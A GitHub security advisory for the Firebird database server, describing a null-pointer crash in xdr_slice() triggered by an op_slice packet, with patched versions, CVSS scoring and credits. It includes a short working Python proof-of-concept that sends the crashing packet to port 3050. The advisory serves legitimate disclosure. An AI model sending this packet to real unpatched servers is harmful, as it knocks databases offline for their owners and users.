

FirebirdSQL / firebird Public[Code](#) [Issues](#) 1.8k [Pull requests](#) 83 [Discussions](#) [Actions](#) [Projects](#)

# One packet DoS

High dyemanov published **GHSA-9884-9qm3-hqch** 3 days ago

## Package

### Any firebird version before the fix

#### Affected versions

Any firebird version before the fix

#### Patched versions

6.0, 5.0.4, 4.0.7, 3.0.14

## Description

### Details

When processing an *op\_slice* packet, the network protocol calls the *xdr\_slice()* function with an unprepared *slice\_response->p\_slr\_sdl*, which contains a null pointer. Inside *xdr\_slice()* it is passed to *SDL\_info()*, and then the null pointer is dereferenced, which causes the server to crash.

### PoC

1. create a small network packet with 3 fields *opcode(60)*, *f1(0)*, *f2(>0)*;
2. next, it is enough to simply send such packet to the server port using a python script:

```
from pwn import *

opcode = 60
f1 = 0
f2 = 1
pkt = struct.pack(">III", opcode, f1, f2)

p = remote('localhost', 3050)
p.send(pkt)
p.close()
```



### Impact

Due to an emergency shutdown with a SIGSEGV error, server availability is disrupted.

### Severity

**High** 7.5 / 10

#### CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

[Learn more about base metrics](#)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### CVE ID

CVE-2026-28212

### Weaknesses

No CWEs

### Credits

 **MochalovAlexey**

Reporter